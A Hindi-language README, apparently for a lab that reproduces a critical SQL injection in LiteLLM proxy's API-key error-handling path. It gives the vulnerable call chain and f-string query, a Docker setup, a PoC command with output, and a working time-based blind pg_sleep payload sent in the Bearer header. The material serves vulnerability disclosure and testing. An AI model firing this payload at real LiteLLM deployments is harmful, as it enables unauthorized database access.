
लाइटएलएलएम प्रॉक्सी के API कुंजी प्रमाणीकरण में एक गंभीर SQL इंजेक्शन के लिए प्रजनन वातावरण, जिसमें समय-आधारित ब्लाइंड PoC और परीक्षण के लिए Docker सेटअप शामिल है।
| आइटम | विवरण |
|---|
| सलाह | GHSA-r75f-5x8p-qvmc |
| प्रकार | SQL इंजेक्शन (CWE-89) |
| गंभीरता | क्रिटिकल |
| प्रभावित | litellm >=1.81.16, <1.83.7 |
| ठीक किया गया | litellm >=1.83.7 (कमिट 4dc416ee74) |
इंजेक्शन त्रुटि-हैंडलिंग कॉलबैक पथ में होता है, मुख्य प्रमाणीकरण प्रवाह में नहीं। जब एक गैर-sk- उपसर्ग वाला टोकन भेजा जाता है, तो अभिकथन विफल हो जाता है और कच्चा (अहैश्ड) टोकन विफलता कॉलबैक श्रृंखला से होकर एक SQL क्वेरी में प्रवाहित होता है जो f-string इंटरपोलेशन का उपयोग करती है:
HTTP अनुरोध: Authorization: Bearer <पेलोड>
→ assert api_key.startswith("sk-") विफल होता है
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← इंजेक्शन
मुख्य sk- प्रमाणीकरण पथ शोषण योग्य नहीं है क्योंकि क्वेरी तक पहुँचने से पहले टोकन SHA256-हैश्ड होते हैं, जिससे केवल [0-9a-f] वर्ण उत्पन्न होते हैं।
docker compose up -d
यह PostgreSQL बैकएंड के साथ LiteLLM Proxy (v1.83.3-stable) प्रारंभ करता है।
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL Injection PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: Pending ║
║ Affected: litellm >=1.81.16, <1.83.7 ║
║ Attack: time-based blind via error-handling callback ║
╚═══════════════════════════════════════════════════════════╝
[*] Checking target: http://localhost:4000
[+] Target alive (status 200)
[*] Measuring baseline (3 requests)...
Baseline avg: 0.022s
[*] Control: non-sk- token without pg_sleep...
Control: 0.024s
=======================================================
Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
Response: 5.018s
[+] VULNERABLE! pg_sleep(5) confirmed


PostgreSQL का pg_sleep() void लौटाता है, जो बूलियन संदर्भ (OR) में प्रकट नहीं हो सकता। पेलोड इसे टाइप त्रुटि से बचने के लिए एक सबक्वेरी में लपेटता है:
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
इसे litellm/proxy/utils.py में combined_view क्वेरी में इंजेक्ट किया जाता है:
# भेद्य कोड (<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← उपयोगकर्ता इनपुट का f-string इंटरपोलेशन
"""